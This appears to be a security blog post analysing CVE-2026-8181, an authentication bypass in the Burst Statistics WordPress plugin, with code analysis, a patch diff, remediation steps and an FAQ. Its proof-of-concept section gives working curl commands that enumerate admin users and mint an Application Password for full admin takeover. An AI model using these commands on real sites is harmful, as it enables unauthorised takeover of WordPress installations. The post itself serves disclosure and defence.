Burst Statistics WordPress plugin banner

CVE-2026-8181: Auth Bypass to Admin Takeover in Burst Statistics Plugin (CVSS 9.8)

CVE-2026-8181 is a CVSS 9.8 (Critical) Authentication Bypass vulnerability in the Burst Statistics WordPress plugin. An unauthenticated attacker who knows any administrator username can send a single HTTP request to obtain a WordPress Application Password for that account, achieving full admin takeover.

Vulnerability Summary

FieldValue
Plugin NameBurst Statistics – Privacy-Friendly WordPress Analytics
Plugin Slugburst-statistics
CVE IDCVE-2026-8181
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthentication Bypass (Improper Authentication)
Affected Versions<= 3.4.1.1
Patched Version3.4.2
PublishedMay 13, 2026
ResearcherChloe Chamberland - Wordfence PRISM
Wordfence AdvisoryLink

Description

The Burst Statistics plugin is vulnerable to Authentication Bypass in versions 3.4.0 to 3.4.1.1. The flaw is in the is_mainwp_authenticated() function inside class-mainwp-proxy.php. This function validates application passwords from the Authorization HTTP header.

The function calls wp_authenticate_application_password() and only checks whether the result is a WP_Error. It does not check whether the result is actually a successful WP_User object. When WordPress’s internal filter application_password_is_api_request returns false — which happens when the call is made outside the normal REST API authentication flow — the WordPress function returns null instead of a WP_Error. Because null is not a WP_Error, the check passes. The attacker’s chosen admin user is then set as the current user via wp_set_current_user().

Once the current user is switched to an administrator, subsequent capability checks pass. An attacker can then reach the /burst/v1/mainwp-auth endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent admin-level access to the entire WordPress site.

Technical Analysis

Plugin Initialization and the Vulnerable Gate

Burst Statistics initializes during WordPress’s plugins_loaded hook at priority 9, inside class-burst.php:

// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() is the gatekeeper for all admin functionality. It runs before REST API authentication completes. The function checks for the X-BurstMainWP header and calls into the vulnerable function:

// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

The Vulnerable Function: is_mainwp_authenticated()

The flaw is in class-mainwp-proxy.php, lines 313–342:

public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash(
        $_SERVER['HTTP_AUTHORIZATION'] ?? $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ?? ''
    ));

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        ...
        $username = $parts[0];
        $password = $parts[1];

        // ← VULNERABLE: returns null when not in REST API auth context
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // ← FLAW: null is not a WP_Error, so this check passes!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }

        // ← Admin user set as current user for the rest of the request!
        wp_set_current_user( $user->ID );
        return true;
    }

    return false;
}

Why wp_authenticate_application_password() Returns null

WordPress’s wp_authenticate_application_password() function uses the application_password_is_api_request filter to decide whether the current request should be treated as an API request. When this filter returns false, the function returns its first argument unchanged — which is null in this call.

This filter returns false when called outside of the standard WordPress REST API authentication flow. Because Burst calls this function manually during plugin initialization (not as part of the determine_current_user filter chain), WordPress considers it a non-API context, and the function returns null.

The code only uses is_wp_error() to detect failure. is_wp_error(null) returns false, so the attacker bypasses the authentication check entirely.

Execution Path to Admin Takeover

  1. Attacker sends a request with X-BurstMainWP: 1 and Authorization: Basic <base64(admin_username:anything)>
  2. Burst’s has_admin_access() fires during plugins_loaded
  3. is_mainwp_authenticated() calls wp_authenticate_application_password(null, 'admin', 'anything')
  4. WordPress returns null (non-API context) — is_wp_error(null) is false
  5. get_user_by('login', 'admin') resolves the admin user
  6. wp_set_current_user($user->ID) switches current user to admin
  7. has_admin_access() returns true — admin components initialize
  8. The /burst/v1/mainwp-auth endpoint becomes reachable
  9. Its permission callback check_auth_permission() falls back to current_user_can('manage_burst_statistics') — which is now true
  10. handle_auth_request() mints a new Application Password and returns it to the attacker

Proof of Concept

Disclaimer: This proof of concept is for educational and authorized security testing purposes only. Exploiting vulnerabilities without written permission is illegal.

Prerequisites:

Step 1 — Discover admin username (if unknown):

curl -s "https://example.com/wp-json/wp/v2/users" | jq '.[].slug'

Step 2 — Exploit the authentication bypass to mint an Application Password:

TARGET="https://example.com"
ADMIN_USER="admin"
FAKE_PASS="anything"

curl -s -X POST "${TARGET}/wp-json/burst/v1/mainwp-auth" \
  -H "Authorization: Basic $(echo -n "${ADMIN_USER}:${FAKE_PASS}" | base64)" \
  -H "X-BurstMainWP: 1" \
  -H "Content-Type: application/json" \
  -d '{}'

Expected response (successful exploit):

{
  "token": "YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA=",
  "root_url": "https://example.com/wp-json/",
  "localization_data": { ... }
}

The token field is a Base64-encoded username:application_password string.

Step 3 — Decode and verify the minted Application Password:

echo "YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA=" | base64 -d
# admin:AbCd 1234 5678 9012 3456 7890

Step 4 — Use the Application Password for persistent admin access:

# Example: list all users as admin
curl -s "https://example.com/wp-json/wp/v2/users" \
  -H "Authorization: Basic YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA="

The attacker now has persistent, credential-based admin access independent of session cookies.

Patch Analysis

The fix in version 3.4.2 replaces the flawed is_wp_error() check with a type-strict instanceof WP_User check. It also forces WordPress to treat the call as an API request:

- $username = $parts[0];
- $password = $parts[1];
- $is_valid = wp_authenticate_application_password( null, $username, $password );
- if ( is_wp_error( $is_valid ) ) {
-     return false;
- }
- $user = get_user_by( 'login', $username );
- if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
-     return false;
- }
- wp_set_current_user( $user->ID );
+ $allow_application_password_request = static function (): bool {
+     return true;
+ };
+ add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
+ $authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
+ remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
+
+ if ( ! $authenticated_user instanceof \WP_User ) {
+     return false;
+ }
+ if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
+     return false;
+ }
+ if ( ! user_can( $authenticated_user, 'manage_burst_statistics' ) ) {
+     return false;
+ }
+ wp_set_current_user( $authenticated_user->ID );

The patch does three things:

  1. Forces API context: The application_password_is_api_request filter is forced to true, making wp_authenticate_application_password() actually verify the password against stored Application Passwords.
  2. Checks for success, not just absence of error: instanceof \WP_User replaces is_wp_error(). Only a verified user object is accepted.
  3. Verifies username integrity: A hash_equals() comparison ensures the returned user’s login matches the supplied username, preventing user confusion attacks.

The patch also adds nonce-based replay prevention to the signature verification path and restructures the permission callback for the mainwp-auth endpoint to be more robust.

Timeline

DateEvent
May 13, 2026Vulnerability publicly disclosed by Wordfence
May 14, 2026Wordfence advisory last updated
May 14, 2026This blog post published

Remediation

Update to Burst Statistics version 3.4.2 or later immediately. This vulnerability has a CVSS score of 9.8 (Critical) and Wordfence reported over 5,900 attacks targeting it in a single 24-hour window.

If you cannot update immediately:

References

  1. Wordfence Advisory — CVE-2026-8181
  2. CVE Record — CVE-2026-8181
  3. Vulnerable source — class-mainwp-proxy.php#L336 (tag 3.4.1.1)
  4. Patched source — class-mainwp-proxy.php#L336 (trunk)
  5. Vulnerable source — class-mainwp-proxy.php#L328 (tag 3.4.1.1)
  6. Patched source — class-mainwp-proxy.php#L328 (trunk)
  7. Vulnerable source — class-mainwp-proxy.php#L314 (tag 3.4.1.1)
  8. Patched source — class-mainwp-proxy.php#L314 (trunk)
  9. Vulnerable source — trait-admin-helper.php#L205 (tag 3.4.1.1)
  10. Patched source — trait-admin-helper.php#L205 (trunk)
  11. GitHub source — class-mainwp-proxy.php#L385

Frequently Asked Questions

What is CVE-2026-8181?

CVE-2026-8181 is a CVSS 9.8 Critical authentication bypass vulnerability in the Burst Statistics WordPress plugin that allows an unauthenticated attacker to take over any administrator account.

Which versions of Burst Statistics are affected by CVE-2026-8181?

Burst Statistics versions 3.4.0 through 3.4.1.1 are affected. Version 3.4.2 contains the fix and is safe to use.

What can an attacker do with CVE-2026-8181?

An attacker who knows any administrator username can send a single HTTP request to mint a WordPress Application Password for that account. This gives the attacker persistent, full admin-level access to the entire WordPress site.

Does an attacker need to be logged in to exploit CVE-2026-8181?

No. The attacker does not need any account or prior authentication. Only a known administrator username is required to exploit this vulnerability.

How do I fix CVE-2026-8181 in Burst Statistics?

Update Burst Statistics to version 3.4.2 or later. You can do this from the Plugins page in your WordPress admin dashboard or by downloading the update from wordpress.org.

Has Burst Statistics been patched for CVE-2026-8181?

Yes. Version 3.4.2 of Burst Statistics was released on May 13, 2026 and fully resolves this vulnerability.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee